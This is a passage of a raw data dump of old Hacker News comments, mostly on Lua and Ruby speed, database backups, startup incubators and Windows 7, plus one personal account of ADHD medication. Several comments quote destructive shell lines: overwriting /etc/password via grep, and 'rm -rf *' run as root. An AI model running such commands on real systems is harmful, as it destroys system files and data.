employees someplace with a pleasant immigration process, I mean.\", \"This has always been the reason I liked Firewire more than USB...\", \"\\\"Google was never forced to do anything.\\\"<p>Lol wut.  You need to think about what you're saying.  Go \\\"not doing anything\\\" they would be serving up whatever content their algorithm deems relevant.<p>Its 'censoring' that is doing something, and they simply chose not to do it.\", NaN, \"Looks like less - $26M according to Crunchbase.[1] Far less than the capital it raised. Maybe you mean FriendFeed?<p>[1] <a href=\\\"http://www.crunchbase.com/company/friendster\\\" rel=\\\"nofollow\\\">http://www.crunchbase.com/company/friendster</a>\", \"Perhaps using grep to match anything and thus output the whole file?<p><pre><code>    grep '.*' file</code></pre>\", \"Match any non-empty line.<p><pre><code>   /usr/bin/grep \\\".*\\\" /path/of/file</code></pre>\", \"I'm the new one at RWW... I may have more time to listen than the others? ;)\", \"What drives me crazy is that people take pots like this or Seth Godin or anyone writing like this and applying the criticism suitable to a paper on epistemology.<p>If people had to actually write in all the 'qualifiers for smartasses' to avoid it, they would make pretty awful reading. The frustrating thing is, this reads like it's already been through some of that. He's very obviously not claiming some iron causality between debt and profitability. Just a relationship, in his case, possibly, consult your doctor before attempting.<p>It's not the purpose of the article and it would be a tangent to go off and explain this relationship. Again, if you were making a subtle epistemological argument about the relationship between knowledge and certainty, go chase down everything. This is a blog post about the joys of running a profitable business.<p>No one is going to build a business from a literalistic interpretation of a blog post.\", \"I'm looking for a (cheap or free) web app/service that will allow me to take in and produce a live stream of SMS/emails from audience members in a presentation room (to be projected on a side projector).<p>This can be accomplished on twitter with a combinator of Twittermail.com and Twitpic.com, however I'm looking for a web-app that will allow for easier SMS access (ATT users have to use an SMS gateway code to send emails from their phones) and will allow for me to create a non-public feed.<p>Ideally, the solution would not require the SMS/emailers to sign up in any way (a la twittermail), and would operate without any moderation (I trust the audience).<p>Present.ly comes close, Yammer as well - perhaps I'm looking at services that too closely target dynamic user interaction.<p>Suggestions?\", \"You can use<p><pre><code>  grep '.*' > /etc/password\\\\n</code></pre>\\\\ninstead of<p><pre><code>  cat > /etc/password</code></pre>\", \"some of us are engineers.\", \"\\\"feeling good\\\" seems a bit generic here. I doubt he means the same thing as inspiration. The competitive nature of chess and the fact that it is a \\\"game\\\", is usually enough to motivate someone to work harder after winning a few games (ie warcraft). Where as in writing and writing software there are more mental blocks and success and gratifications are generally slower, and also harder to get back on track if you start \\\"feeling bad\\\". So I think discipline is more important in activities that takes longer to feel gratified.\", \"That's not a correct statement.  Your Chinese company has the rights set forth by their laws.  It is true their judicial process is prone to more corruption than in the U.S.  But thats spotty and changing as well.  You just can't always count on winning a court battle in China because your rich and connected anymore.<p>I have witnessed very powerful Chinese officials and businessmen not take action against a rival because the action would have been unlawful and they didn't want to risk the penalties.  I have seen mid-level government officials block attempted actions from senior officials because the actions didn't follow the rules.\", \"Because it costs money. An https connection requires an order of magnitude more resources to set up and maintain than a plain old http connection.<p>Even with hardware acceleration it takes more electricity per connection, and dedicated SSL accelerator boxes are not cheap (a pair of load-balancers with SSL acceleration will cost more than a new car).<p>When you're operating at the scale of Google, that can add up quickly.\", \"The Chinese people always have the option to simply <i>not use Google</i>.\", \"Does someone know what's this use of grep as cat he alludes at ?\", NaN, \"Man that makes sad -- go Australia :S  Although, note that at this stage it is still \\\"nominal\\\" in practice while the plans are yet to be implemented.\", NaN, \"Anyone who talks about Entrepeneurship in Japan and doesn't talk about the housing situation & concentration of industry in Tokyo is following fancy rather than reality.<p>When you are unable to rent anything other than the oldest (most undesirable) places without corporate approval, you are not likely to start your own business.<p>When all business deals are done in the most expensive part of the country, you and your sales staff are not likely to have experience dealing with problems that average people are going to deal with.\", \"No - a Notifo or Prowl or other similar services could use us to deliver their notifications.  They are enabling push on web apps and other items and creating a consumer app that serves as a central point for the notifications, whereas we provide a service for any app developer to integrate.  Different targets and concepts :)\", \"<p><pre><code>  # cd \\\\n  # rm -rf *\\\\n</code></pre>\\\\nI'm wondering why they can delete files under /bin and /dev?\", \"I feel like folks are tap dancing around the border of the parts of the topic that fall under the \\\"behind the counter\\\" category, so I'm going to jump over for y'all.<p>Adderall and related schedule II nootropic stimulants are amazingly effective for their intended roles and when used at medically indicated dosages (rather than doing the abusive equivalent of swallowing a bottle of no-doze caffeine pills) are among the safest drugs for which it is possible to get a prescription, in that any side effects induced by taking a prescribed dosage will cease soon after cessation of the medication.<p>That being said, the view that they are study drugs is not quite a complete or accurate picture of their cognitive effect. A more accurate but still imprecise view would be that at the correct dosage, adderall and family \\\"reduce the activation energy needed for attentional engagement\\\" and \\\"increase the baseline activity level of higher order planning faculties\\\" (that is, every time you have a \\\"I should do this vs i want to do that\\\" moment and chose the \\\"should do this\\\" path, you are actively using the higher order planning faculties).<p>These effects are why adderall et al are great for treating those who have ADHD, ie those who have a dysfunctionally high activation energy for attentional engagement in tasks, and perhaps due to insufficient activity of those higher order planning faculties that influence moment to moment behavior also have impulsive behavior and all the externalities that these difficulties imply. Study drugs they are not, they just happen to help you focus on what you really really want to focus on if you try hard enough.<p>If you do not have much in the way of excessively impulsive behavior or difficulty focusing on what you really really want to be doing when both well rested and in shape, then you do not stand to gain much / anything from using them.<p>If you're not well rested, either drink some strong tea (because caffeine and theanine are great!) or go to sleep, and if you're not in good physical health, go fix that with some exercise instead of whatever you'd be procrastinating with because that affects your quality of life  and net productivity more than getting another hour of work done. Adderall et al will not make you better at focusing just then and there.<p>I feel that people often lose sight of the fact that while the human brain can do amazing things, there are limits. With nootropics such as adderall, even a slightly higher dosage in the normal dosage range can essentially result in a sort of unpleasant \\\"overload\\\" of your ability to direct your focus. I suspect this is a miniature version of whatever those who recreationally abuse these stimulants experience, in which case they must be idiots because i don't understand how that could be pleasant.<p>if you have allergies that can be made tolerablish without something like zyrtec or claritin and you have work you need to do, don't take the allergy medication, they have essentially the exact opposite (I believe antagonistic is the term used) cognitive effect of prescription dosages of adderall et al.<p>Obvious caveat, everything I say is merely reflects my personal experience managing adhd, reading up on various bits, and observing how many people work. Also, it seems that at least anecdotally that the manner in which a person with unmedicated adhd structures and approaches work is radically different from how everyone else does so, and that part of the adhd treatment process is sort of a (think HeMan) \\\"By the power of ADDERALL, I shall use my newfound powers of ease of attentional engagement to devise more effective and efficient ways of structuring how I approach work\\\"<p>theres probably things i'm overlooking, omitting, oversimplifying or exaggerating, but hopefully this has some useful information for someone.\", NaN, \"Why should 'laws' decreed anywhere be respected?<p>Should laws that are counter to one's values be respected?<p>Should laws that seek to prevent a full human experience be respected?<p>Should we continue to support the artificial constructs of nation-states?  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reported using 200 16GB memcached servers, and suggested 32GB servers were soon on the way:<p><a href=\\\"http://article.gmane.org/gmane.comp.web.cache.memcached/3224\\\" rel=\\\"nofollow\\\">http://article.gmane.org/gmane.comp.web.cache.memcached/3224</a><p>Big, popular services don't skimp when fighting latency.\", \"If Microsoft ships Windows 7 for $99, how does this change the game?<p>I would go out and buy it immediately for my Mac's VM.\", \"It also runs counter to \\\"do the simplest thing that could possibly work\\\" and \\\"KISS\\\" and \\\"YAGNI\\\".<p>Doesn't mean it's a bad idea though. But if it's that good, make sure you announce it and market it as a significant feature...\", \"Are both sets of code optimized?\", \"The sample I hear from about Harvard's undergraduate math program consists largely of participants on the Art of Problem Solving forum<p><a href=\\\"http://www.artofproblemsolving.com/Forum/index.php?f=143\\\" rel=\\\"nofollow\\\">http://www.artofproblemsolving.com/Forum/index.php?f=143</a><p>and those participants include many young people from various countries who have participated in the International Mathematics Olympiad.\", \"> <i>Even if nobody respected it, everyone would be using it.</i><p>By that metric, PHP is the scripting language for you. ;)<p>The double hyphen comment is used elsewhere. SQL comes to mind.\", \"It'll be a time sink. Why not do it as dirty as possible now and go back and tune it as time goes on?\", \"Would be cool to have an API for this (just send it a URL and get back a list of tags)\", \"wget is your friend.  I would have been making sites like this all along had I known that all I had to do was move to Poland.  Easy Money.\", \"This entire essay hinges on the assumption that Microsoft's priced Windows (and Office?) inefficiently. Implicitly, it may also hinge on the presumption that the true dollar value of OS software is basically zero.<p>I'm not so sure on the first, and I know the second is plainly false. For the average consumer, the switching cost associated with moving from Windows to Linux is quite hefty relative to buying a new copy of Windows 7...\", \"Is this an objective recommendation or do you have some stake in the company?\", \"Architecture and urban planning are very close to software IMHO, being about form and function and complex systems. This one is a brilliant talk on that subject.\", \"Gut wrenching, for sure. To see your whole model explode, it's just not worth it.<p>If you don't have a backup plan -- close your browser, stop surfing Y!Hacker, and go write a shell script to dump your database and rsync to anywhere else on earth.\", \"No FlowingData love?\", \"I'd really like to store incrementals of my MySQL at S3. Anyone using something they really like? Or should I just break-down and do full dumps each night?\", NaN, \"From reading the notice, I get the feeling that they don't have any backups! Not very re-assuring at all.\", \"\\\"take some simple steps to ensure that you don't <i>bork</i> your site\\\"<p>unborked[.com] is currently available.<p>A site dedicated to stopping all of the borking going on out there.<p>===<p>I think some cheap, simple sql dumps from the db, burned to an external HD and taken home would've been a good first step -- your data would be dated but somehow restorable nonetheless without the need for off-site, replicated, heart-beat monitored databases.<p>IMHO you really need an expert database admin (of which I am not) to get all of this up and keep all of it going; a caretaker who's only job in life is the maintenance of any and all persisted data.<p>On another note, backups are really useless unless you have actually tested the restores.\", NaN, \"Short version: Elon Musk is Ozymandias.<p><a href=\\\"http://en.wikipedia.org/wiki/Ozymandias_(comics)\\\" rel=\\\"nofollow\\\">http://en.wikipedia.org/wiki/Ozymandias_(comics)</a>\", \"I feel Beginning iPhone Development is good because it helps build your confidence so that you can work on getting through your own projects and Aaron Hillegass' book. This book seems more advanced, and I will go get a copy this weekend.<p>Aside from learning from $30-40 books: Building a calculator from scratch was recommended to me and is a great project that you can go from basic (accumulator) to nuts (Quartz rendering) on.\", \"It's a classic dilemma -- most people don't care about backups until immediately after it's too late.\", \"I'd account for dumb jocks under my 'understimulated brain' column.\", NaN, \"I'm sure, but luajit wins handily over all the scripting interpreters.  I'm not much concerned with ruby in particular.  I'm suspicious that luajit is constrained in features.  I doubt you can dynamically load in object code for modules, for example.  This makes it not quite a straightforward comparison to the other interpreters.\", \"My guess is something cryptographic.\", \"\\\"Fair\\\" comparisons of the sort you're talking about are not useful when choosing a language. If I'm choosing a language for an application, I don't care if it's unfair that one is much faster than the other because it has a JIT compiler instead of an interpreter - I only care which one is the most suitable.\", \"Just curious, what do you do?  It's interesting that you optimize a lot of C/C++ programs... game development maybe?\", \"I can't see a reason given that there are only adds on a few of the pages.  Plus they missed a few with their global find/replace.  <a href=\\\"http://realestate103.com/aboutus/termsandconditions.html\\\" rel=\\\"nofollow\\\">http://realestate103.com/aboutus/termsandconditions.html</a>\", \"Certainly.  I didn't mean to deride anyone's work with the comparison.  I meant, some of the implementation decisions seem arbitrary, and seem like they were made \\\"for the sake of being different\\\".<p>For example, Lua's use of two dashes for line comments, and  --[[ and --]] for block quotes.  That lets you remove the first --[[ in a block quote without causing the program to break, because the \\\"closing\\\" block quote is commented out at that point (because --]] is a comment at that point).  But really, that's so different from other languages that it seems like a liability rather than an asset.  That's what I meant by \\\"not <i>necessarily</i> beautiful\\\".  It is definitely beautiful in certain other aspects, though.<p>Also, if I were writing a scripting language, I'd love for it to be \\\"like a prostitute\\\".  Even if nobody respected it, everyone would be using it.\", \"See <a href=\\\"http://www.sothebyshomes.com/\\\" rel=\\\"nofollow\\\">http://www.sothebyshomes.com/</a>\\\\nI know a little about the Sothebys site, as the company I work for created it, and I wrote a fair bit of the Javascript myself.<p>The original site makes extensive use of js to load content, and anywhere data is missing on the pirated site, that's why.<p>What we can't figure out here in the office, is why they did it?  How much of this is going on?\", NaN, \"I like the idea of the offsite slave.  I was also reading about another idea, forcing a slave delay to recover from oopses/corruption:<p><a href=\\\"http://www.rustyrazorblade.com/2008/05/07/mysql-time-delayed-replication/\\\" rel=\\\"nofollow\\\">http://www.rustyrazorblade.com/2008/05/07/mysql-time-delayed...</a>\", \"See http://www.sothebyshomes.com/\\\\nI know a little about the Sothebys site, as the company I work for created it, and I wrote a fair bit of the Javascript myself.<p>The original site makes extensive use of js to load content, and anywhere data is missing on the pirated site, that's why.<p>What we can't figure out here in the office, is why they did it?  How much of this is going on?\", \"This brings Foxmarks closer to delicious, which is a direct competitor. Mitch Kapor talks about Foxmarks vs. Delicious here: <a href=\\\"http://blog.kapor.com/?p=28\\\" rel=\\\"nofollow\\\">http://blog.kapor.com/?p=28</a>\", \"JRuby is not a JIT for Ruby, and it doesn't compile Ruby to Java bytecode. It's a Ruby interpreter, written in Java.\", \"This guy should read HN.  He complains about problems with Yahoo domain renewal, and talks about how much better Google has their act together.  However...<p><a href=\\\"http://news.ycombinator.com/item?id=453350\\\" rel=\\\"nofollow\\\">http://news.ycombinator.com/item?id=453350</a>\", \"Huh, the first thought to my mind was \\\"How many people have access to do that sort of damage\\\"<p>How about tightening up their access control mechanisms next?<p>A <i>contractor</i> had root access to all 4k boxes?\", \"\\\"Jobs correctly predicted that attempts by the major labels to find a technological solution to piracy would fail. When it came to subscription music services, he said the public would reject them.\\\"<p>I think most people on HN have predicted the same thing. To create something like iTunes, presumably a huge army of lawyers was necessary. Not saying that other people could have been as successful, but it was definitely not something some guy in a garage could have done, because of the legal issues.\", \"I love the \\\"only 17 times faster\\\" bit ;-)\", NaN, \"Well, LuaJIT only runs on x86, and only in 32-bit mode. Though, the work-in-progress LuaJIT 2 is supposed to be easily portable to ARM or other architectures.\", \"Since I feel bad about no one answering -<p>You already recognized that opening up is the trend. Using Facebook is really about the target audience that you're going for - Facebook users have particular expectations and habits online. You get the expectations of the user base by associating yourself with Facebook. This may be useful for a fun application, or even a social application, but beyond that and it gets complicated.<p>For instance, I wouldn't connect any business application to Facebook; linked-in is opening up their api and it may be a better market space for business applications (even though I dislike that crowd). A business application connected to Facebook is for the wrong crowd, and won't take advantage of the viral aspect of using a large existing user base. People also don't look for business applications on Facebook.<p>Think about your target audience first, and then go after them where they congregate.\", \"You're right; I should have said, \\\"malloc/free is really expensive\\\".\", \"Very true, Lua is optimized for being very small, fast, and portable. It optimizes for embedding, which means you cannot make assumptions about what you are allowed to do, so it errs on the side of very little.<p>On the other hand, interfacing to C is the nicest of anything I have done, by a long shot, so the lack of batteries isn't that painful in practice. It fills a different niche than python or ruby, in its, it shines.\", \"I've read that Hulu uses RTMP instead of HTTP.\", \"Bike sharing programs have failed dozens, if not hundreds of times already.<p>People don't respect property unless they own it.<p>This will be another boondoggle (with government dollars) like all the other bike sharing programs to date.\", \"Anyone know how this is compared to Beginning iPhone Development by Dave Mark? I was going to go buy that today, actually.\", NaN, \"That's what search.twitter.com is for.\", \"Are you serious? Lua has an extremely clean and orthogonal core. It's got serious CS mojo. The \\\"batteries not included\\\" bit is probably the greatest detraction to Lua as a general-purpose scripting language.\", \"I like the name. It's in Austin, so lots of stuff around there is called Capital something or other. This takes that trend and makes it punny.\", \"I wish Twitter allowed comments on tweets.  Companies (like Magnolia) use it for important announcements / status updates, and yet there's no way to see feedback from the community.\", NaN, NaN, \"Without some discussion of why Lua is faster, this isn't very interesting. Lua is known for being small and fast, so this benchmark shouldn't be news to most people here.<p>SBCL is faster still, averaging about half the speed of GCC and about the same as Java.\", \"Quite obviously because there are so many.\", \"LuaJIT makes the Lua <i>mandelbrot</i> program run 95 times faster than Ruby's, whereas the stock Lua interpreter is only 17 times faster.<p>Better yet, LuaJIT is a drop-in replacement.  There's no reason not to use it, as far as I know.\", \"Having done a lot of both, Lua feels more pythonic than rubyish in many small ways. Objects are just syntactic sugar where self is the first arg (though unlike python, lua <i>has</i> the syntactic sugar to make it prettier to look at), etc. Interestingly, typical OO Lua is prototype based, not class based -- in that way it is more javascriptish.<p>Most lua codebases I have seen tend to be written in what I call an \\\"imperative functional\\\" style, where the language isn't purely functional, but functions are the most common means of abstraction.<p>It has proper anonymous functions, lexical scoping, etc so you can write very rubyish code (such as moonunit <a href=\\\"http://svn.apache.org/repos/asf/httpd/httpd/trunk/modules/lua/test/moonunit.lua\\\" rel=\\\"nofollow\\\">http://svn.apache.org/repos/asf/httpd/httpd/trunk/modules/lu...</a> and using it <a href=\\\"http://svn.apache.org/repos/asf/httpd/httpd/trunk/modules/lua/test/test.lua\\\" rel=\\\"nofollow\\\">http://svn.apache.org/repos/asf/httpd/httpd/trunk/modules/lu...</a> ).\", \"For what it's worth, JRuby performs a tiny bit better.<p>I think Ruby in general is less amenable to analysis/compilation than Lua is, so even a JITed Ruby might not do as well as Lua.\", \"Yeah, actually.  Lua isn't as clean as Ruby (or Python, or <i>your_favorite_language</i>), but it has the advanced features you'd expect from a powerful scripting language: closures, coroutines, etc.  Rather, Lua is like a really experienced prostitute.  Not necessarily beautiful, but can do all the tricks and can get the job done efficiently and inexpensively.<p>To get started with Lua, I'd recommend PIL:  <a href=\\\"http://www.lua.org/pil/\\\" rel=\\\"nofollow\\\">http://www.lua.org/pil/</a>\", \"Not yet.  Think about all of the gem/plugin dependencies which may not be 1.9 compatible.\", NaN, \"Me too.  It motivated me to spend the last 15 minutes looking into Lua.<p>Similarities: Block/lambda support and syntax, optional parentheses, control statements as block, prefix, or postfix.<p>OTOH, \\\"how come Lua is not as widespread as say, Python ? I'd say the answer is this: there is no real standard library, and as opposed to Python, Lua doesn't come with batteries included.\\\" -- <a href=\\\"http://www.ivy.fr/blog/index.php/2008/03/17/83-kahlua-lua-on-the-jvm\\\" rel=\\\"nofollow\\\">http://www.ivy.fr/blog/index.php/2008/03/17/83-kahlua-lua-on...</a>\", \"This story has been killed so no one will read this, but I can't help but respond.<p>The statement that France was \\\"spending tomorrow's money today and now it's gone\\\" is ridiculous.  In 2007, France's national debt as a percentage of GDP was 63.9% and the USA was at 60.8%.   Both countries will be facing hard times in the future; however, neither are on the verge of collapse.<p>The economic crisis is <i>global</i>, and countries who had nothing to do with it (<i>cough</i>japan<i>cough</i>) are affected by it.  It's pretty cheap to try to use it to pin France's economy as weak, when their system has worked well for decades.  French people have benefited greatly from the extra service provided by government, and their government is quite efficient compared to most.<p>France chose a different system than the USA because their view of an ideal society is different.   Both of them have been fairly successful; neither are utopian.  I happen to support the French strikers who are opposing the recent changes, not because I think the old system is better, but because I like cultural diversity and choice, and I don't want the world to become homogenized.\", \"If you look at any site which you consider has a good quality design, there's one big difference that it has to your own site: it uses images.<p>Lots of images.<p>That's the key to good design that most engineers don't understand.<p>Yes, there is elegance in Google, reddit, news.yc, etc, and yes, you can go way overboard with really bad image picks. But if you want to go for something other than 'minimalist', you should find a good personal collection of (non cheesy) stock photos, subtle patterns, gradients, edges, icons, and corners. Get some simple photoshop retouching skills too.<p>Seriously, learning how to use images effectively will take your design skills up to the next level.\", \"\\u201cYou were talking about YC vs TechStars. Apples and oranges.\\u201d Ah, That is disrespectful to TechStars they are in the same business and it is exactly what we have been talking about, read the thread again.<p>I\\u2019m one founder who has great admiration for YC, but I just don\\u2019t think they have the key to startup success. I think this should be clear in all HN readers mind despite the hype around here. Ultimately it will serve the startup world very well that YC get competitors, because no matter their commitment they will not spot all future success.\", \"Unlike say...JRuby?\", \"It's going to take a lot more to really save Fannie Mae :)\", \"Personally, I would hav just done Lua vs Ruby instead of LuaJIT vs Ruby.<p>Results look almost the same ;-)<p><a href=\\\"http://shootout.alioth.debian.org/u32/benchmark.php?test=all&lang=lua&lang2=ruby\\\" rel=\\\"nofollow\\\">http://shootout.alioth.debian.org/u32/benchmark.php?test=all...</a><p>Lua is generally the fastest scripty language, ruby is generally the slowest. Ruby is much more general purpose though -- Lua is very optimized for embedding.\", \"it's because the ruby implementation of \\\"fasta\\\" computes the entire result in memory and then prints it out; the lua one prints as it goes.<p>so, i'd take it with a huge slab of salt.\", \"I'm planning on burning time on building a full failure solution.  Records snapshotted at least daily and any single node/service can die entirely and there is an exact, <i>tested</i> manual recovery checklist or automatic rollover option in place for each permutation.<p>This runs counter to the more cavalier \\\"release early, polish later\\\" advice I keep seeing.  Maybe I am doubly freaked out because the things I'm storing are <i>not</i> easily recovered or re-imported by the users themselves or any kind of algorithm/redux.\", \"Of course; Get a native JIT'ed version of ruby going, then you can make a fair comparison.\", \"Which in-turn, is now an idea magnet that pulls the best deal flow from around the world. I don't think they are the only ones that are capable of doing this tho.<p>ycom also seems to be more consumer focused, which is what most of the techblogs cover because it brings eyeballs. consumer exits are often big pay days, but more importantly to me at least \\u2014 the most fun to work on. B2B is often a drab. lol<p>i think some of these incubators should not forget the enterprise play either. Austin Ventures had A/V Labs awhile back, but I don't recall much about its success.\", \"pwnyoutube.com claims fair use:<p><i>\\\"PWN!\\\" is a frequently used word on the Internet, the meaning of which clearly makes the words \\\"PWN! YouTube\\\" a parody.</i>\", \"I know the Rails team has worked hard towards getting 1.9 compatibility, but what are your opinions about using this on production servers? (I'm kinda edgey myself, it's why I ask.)\", \"<i>... allocation/deallocation is really expensive ...</i><p>The cost of allocating memory in .NET (and probably other GC environments) is basically equivalent to the cost of incrementing a pointer, which is to say, basically free.  The reason is because the .NET garbage collector periodically \\\"packs together\\\" objects in memory, so the memory allocation algorithm essentially becomes:<p><pre><code>  result = _freeMemoryPtr;\\\\n  _freeMemoryPtr += numBytesToAllocate;\\\\n  return result;\\\\n</code></pre>\\\\n... in other words, since objects in memory are periodically \\\"packed together\\\" by the GC, there isn't a lot of memory fragmentation, so the allocator can simply allocate from the end of the heap.  It doesn't need to try to find a \\\"large enough free block\\\" within fragmented memory, because memory isn't fragmented.<p>At least, that is my understanding.  I could be wrong because I haven't investigated this thoroughly yet.<p><a href=\\\"http://en.wikipedia.org/wiki/Garbage_collection_(computer_science)#Generational_GC_.28aka_Ephemeral_GC.29\\\" rel=\\\"nofollow\\\">http://en.wikipedia.org/wiki/Garbage_collection_(computer_sc...</a>\", \"I wonder how it would compare with Ruby 1.9 (released today)?\", \"I don't know what's going on with Ruby's 'fasta' implementation, but I'm pretty sure it's not x86 assumptions that cause Ruby to use 231x the RAM.\", \"One data point is not enough to dismiss the idea that YC has a better brand name. I would have to agree. Having a better brand name does not mean no other company will ever out do you, it simply means you tend to have a head start out of the gates. Personally, if I had a choice, I'd ally with YC. And I think my perception of them is 90% about the Brand image they present and their track record. That is branding is it not?\", \"This is why it's so important to take some simple steps to ensure that you don't bork your site.  For my production sites, I usually have the following setup:<p>* Replicated Database with one slave in a separate data center just as disaster recovery (not a performance thing with the separate data center). Heartbeat for the slave(s) in the same datacenter so that it stays up.<p>* Nightly backups offsite. Used to be rsync, but recently thinking of using tarsnap for the ease of it (and S3 puts it in several data centers).<p>* Files stored either in a MogileFS setup or S3 in multiple data centers.<p>It doesn't have instant failover to another data center, but the offsite DB slave should mean no data loss beyond a second or two.  Ma.gnolia is a decent sized site.  Maybe they did have a decent infrastructure and it will only be a little while before they've gotten everything back.  Of course, after the fiasco with the blog site that used RAID as their backup system, I've started to think that many people don't take data as seriously as it needs to be taken.\", \"I don't know Lua, but this is the first time I've heard Lua and Ruby equated in terms of expressibility/flexibility (i.e. \\\"high-level\\\"?).  Is that a particularly relevant comparison?\", NaN, \"Correct.  I think we're comparing two different things.  I was talking about YC-style seed-stage funding vs other startups.  You were talking about YC vs TechStars.  Apples and oranges.  No disrespect to TechStars, that's just not what I was talking about.\", \"Why not just secure <i>all</i> of the domains?\", \"LuaJIT is x86 only, so it's not quite apples to apples.\", \"> Isn't that gasoline engines that have a narrow range of near-peak efficiency?<p>Nope.  Read the wikipedia article, especially the last paragraph of \\\"Reliability\\\".  (Part of what's happening is that diesels have a smaller overall range, so even if the \\\"90% peak\\\" ratio is bigger, the width of the range is smaller.)<p>Also, diesel engines' fuel consumption doesn't vary as much with load as do gasoline engines'.  (Again, see the wikipedia article.)  This makes diesels especially good for hybrid use as it means that they can drive the generator \\\"for free\\\" while the car is being driven with the diesel running at less than full power.\", \"There is at long last now a 64-bit Linux build of Flash 10 beta.  <a href=\\\"http://download.macromedia.com/pub/labs/flashplayer10/libflashplayer-10.0.d21.1.linux-x86_64.so.tar.gz\\\" rel=\\\"nofollow\\\">http://download.macromedia.com/pub/labs/flashplayer10/libfla...</a>\", \"The other day someone posted link to academic earth.com , which is a great site aggregating some of the best university lectures available.  However, a lot of times the flash video feeds are choppy crap.  No problem!  Just feed the URL you want to file2hd.com and then you can download it directly!\", \"\\\"They've been through a round of screening, chosen and mentored by successful entrepreneurs who do it for a living\\\", so do TechStars companies and others.\", \"The backup strategy, in my experience, is the first or second thing you need to be thinking about when you set up a server, service or anything IT-related.<p>The first thing I ask when my boss tells me to set up something new: how are we going to back that up?\", \"I'd wager that YC companies are statistically more fund-able or exit-able than other similar stage startups out there.  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But, for the code you do have to write, and for deciding exactly how to code less, the underlying talent has to do with <i>managing risk by decomposing your problem into small chunks</i>.<p>Once you have your \\\"problem\\\" pared down to the minimum needed, if you can decompose your system into lots of small parts that you can analyze easily and make darn sure are correct, then you can code without having to backtrack and do costly debugging.  You'll also find that writing the code also goes more quickly once you do this.  \\\"Knowing where to start\\\" also becomes much easier if you do this.\", \"But you hear <i>bad</i> things about nearly everything from the tech press.  That's their job: to hold your attention so they can sell advertising space.  Negative news grabs your attention more than positive news, so that's what the press reports.  And indignant moral outrage over the latest nefarious corporate goings-on sells more papers(/banner ads) than anything else, so that's what they report on.<p>In basically every organization I've worked for/with/in (except the financial industry), the truth is basically 10-100x more benign than the media reports it as.  So unless you have personal experience with people in Yahoo or Google that make you not trust them, don't believe everything you read in the media.\", \"Make a non-idiot mode. When non-idiot mode is activated the following occurs:<p>#1 All folders show \\\"name\\\" \\\"extension\\\" \\\"size\\\" \\\"date created\\\" \\\"date modified\\\" and nothing else. All alterations made by the user are automatically filtered into the entire filesystem. Don't ever \\\"guess\\\" what a directory is for. Computers are shit at guessing things.<p>#2 When I try to change a .png extension to .jpg I don't want alerted that this will \\\"make the file unusable\\\". That is an insult to my intelligence.<p>#3 When I try to delete a file that another process has a lock on you TELL ME WHAT GODDAMNED PROCESS HAS A LOCK ON IT so I can kill it.<p>#4 The GUI should look like windows 2000, no fussing with silly transparent windows or Mac wanna-be bullshit. I avoid macs for the same reason I avoid the Candyland.<p>#5 All files are assumed to be text files unless otherwise associated with other applications. That is, if I click on phat.properties, load it into whatever phat.txt would have been loaded into, most likely notepad.<p>#6 I use notepad more than almost any other application. It's time to start giving it more features. I'll bet there are 100 hackers at microsoft who would love to make notepad into a new emacs.<p>#7 Port every popular unix utility (grep, locate, sed, whatever) to windows and let me run them from the command prompt.<p>#8 Switch backslashes to forward slashes.<p>#9 Bring back qbasic gorilla.\", NaN, \"Hello,<p>There are a number of ebook readers out there, although the Kindle marketing campaign might have you thinking otherwise.<p>But hackers, my people, only here have people weighed the DRM, the text, the technology, and the longevity.  Neither Ars nor Endgaget seem to have done a multi-row matrix comparison of the contenders so I'm asking you all.<p>The URL points to a primitive listing of my concerns.  I'm looking to use an e-book reader to consolidate my dead-paper library as I contemplate moving to smaller environs.  Any help here would be appreciated, either in comments here at HN or at the linked URL.<p>Thanks!\", \"What's the alternative?\", \"> Do we make decisions for our users and then complaints for not offering options?<p>No. You make decisions for your users and then offer them options. Under \\\"Options.\\\" Or \\\"Control Panel,\\\" as you so bizarrely insist on calling it.<p>Oh, and you realize that for 90% of your users, \\\"driver software\\\" == Mario Kart.\", \"I can hardly remember what I did 5 minutes ago. No programmer has a mind index of all of the libraries in PHP. If you have that kind of memory, consider an extended visit to Vegas.\", \"Recent post by Mark Cuban on how to save newspapers:\\\\n<a href=\\\"http://blogmaverick.com/2009/04/26/1269/\\\" rel=\\\"nofollow\\\">http://blogmaverick.com/2009/04/26/1269/</a>\", \"There's probably an overarching design requirement that their software not contact MS's servers for privacy reasons.<p>The buttons should be in a different order, and the wording should be changed, though.\", \":-(\", NaN, NaN, \"I went to an art school in brooklyn & learned 3d design as part of a formal spatial program.  The big insight that was beat into us is to start by simply symbolizing an object - squint at it until the rest blurs away - and then gauge/adjust/repeat the relationships between the pieces you're left with.  Persist until it's second nature and it'll be powerful magic for a designer in any field.  Abstraction can be rather useful, in a conference room or a startup.<p>here's some background:<p><a href=\\\"http://www.rowenafund.org/about/rrk_about_rowena.html\\\" rel=\\\"nofollow\\\">http://www.rowenafund.org/about/rrk_about_rowena.html</a><p><a href=\\\"http://boxesandarrows.com/view/foundations-of\\\" rel=\\\"nofollow\\\">http://boxesandarrows.com/view/foundations-of</a>\", \"I've read some such research. Never found any that was valid, though. Do you have one cite that you're especially confident is correct?<p>Bear in mind that \\\"genetically react differently to some stimuli\\\" is not the same thing as \\\"genetically has a gender role\\\". The study would need to bridge that gap or it can't validly offer any conclusion about gender roles.\", \"It's nice to see a concrete example of the \\\"design-by-committee\\\" that MS is accused of with windows.<p><i>In Windows, the node I was working on was 4 levels removed from the root.</i><p>This is terrifying. It sounds like the Windows development process is about to collapse under its own complexity.\", \"Seems like you could do this just with some AppleScript. Doesn't OS X support running a script when a file is added to a folder. There's a name for it too...\", \"This strategy is not counterintuitive, as the article says. In fact, I see it as a logical next step. What could possibly be better than having your service work on all conceivable electronic devices in thousands of fun, creative forms?\", \"Do you understand that an anecdote where you interpret a situation (possibly according to some bias or mistake), and a <i>valid</i> data point which can be a counter-example to a universal, are different things?\", \"You still have to give Yahoo! complete control with that method. With XHR, Yahoo! has no control over your webpage.\", \"Wow, that sounds horrible.\", \"I have installed this version of W7 on a few machines and never encountered this message. Not to say it didn't happen, but it seems to be an exception and not the rule.<p>It seems to me that ruling out an OS because of a single, albeit lame, dialog box is serious hyperbole. Windows 7 is a serious advancement for Microsoft by any account.<p>This is a RC and it needs tuning. I'm not sure I know of an OS that \\\"is the answer\\\". I'm not looking for an identity in an OS. I'm looking for a useful tool. If you are looking for the answer in a computer operating system, you are going to be seriously disappointed.<p>Get your expectations in order and give it a fair shake.\", \"I've never heard anything <i>good</i> about Yahoo's ethics, but I've heard plenty of <i>bad</i> things from the tech press. Wikipedia is a pretty good place to start: <a 